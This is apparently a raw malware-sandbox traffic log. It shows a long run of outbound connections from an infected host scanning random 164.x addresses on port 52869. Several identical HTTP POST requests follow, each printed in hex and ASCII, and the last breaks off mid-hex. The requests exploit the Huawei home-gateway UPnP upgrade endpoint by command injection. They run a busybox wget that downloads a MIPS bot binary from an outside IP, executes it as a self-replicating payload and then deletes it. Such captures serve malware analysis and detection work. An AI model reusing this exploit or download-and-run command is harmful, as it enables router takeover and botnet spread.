Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.117.225.139:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.240.238.130:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.61.206.205:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.106.91.5:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.128.245.210:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.192.64.249:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.105.129.133:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.41.141.253:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.170.180.240:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.189.69.127:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.168.204.232:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.199.18.115:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.224.163.159:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.106.32.141:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.185.15.6:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.119.189.49:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.226.228.182:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.41.62.229:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.74.222.113:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.101.213.138:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.97.159.24:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.188.1.221:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.66.75.27:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.11.75.175:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.81.157.45:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.39.5.214:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.182.252.151:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.28.18.118:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.237.52.68:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.185.206.76:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.244.251.30:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.196.54.224:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.28.13.55:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.71.157.23:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.195.39.18:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.86.32.119:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.167.159.173:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.230.165.172:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.202.98.39:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.244.26.170:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.213.247.91:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.2.251.159:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.243.203.183:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.0.44.128:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.152.145.207:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.209.210.252:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.74.124.211:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.208.77.82:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.119.22.129:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.96.174.72:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.78.52.19:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.194.107.154:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.5.95.245:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.138.132.78:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.209.170.180:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.155.189.111:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.210.47.156:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.186.126.7:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.194.188.108:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.132.142.201:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.216.134.5:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.242.183.65:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.140.165.233:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.178.52.248:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.115.47.111:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.174.238.210:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.240.224.38:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.38.139.50:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.43.119.196:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.44.223.230:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.165.19.47:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.171.38.83:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.19.205.97:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.99.153.188:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.160.121.152:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.9.172.12:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.10.76.93:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.133.67.152:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.244.141.201:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.159.27.96:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.40.248.72:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.210.133.237:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.84.90.144:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.55.80.82:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.228.206.126:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.223.223.112:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.243.108.103:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.222.203.32:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.108.213.179:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.210.235.2:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.251.160.25:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.233.36.105:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.176.20.172:52869 |
Source: global traffic | TCP traffic: 192.168.2.23:28277 -> 164.197.127.198:52869 |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g 104.248.113.24 -l /tmp/bigH -r /duck3k/home.mips;chmod 777 /tmp/bigH;/tmp/bigH Huawei.Selfrep;rm -rf /tmp/bigH)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 32 34 38 2e 31 31 33 2e 32 34 20 2d 6c 20 2f 74 6d 70 2f 62 69 67 48 20 2d 72 20 2f 64 75 63 6b 33 6b 2f 68 6f 6d 65 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 62 69 67 48 3b 2f 74 6d 70 2f 62 69 67 48 20 48 75 61 77 65 69 2e 53 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 62 69 67 48 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 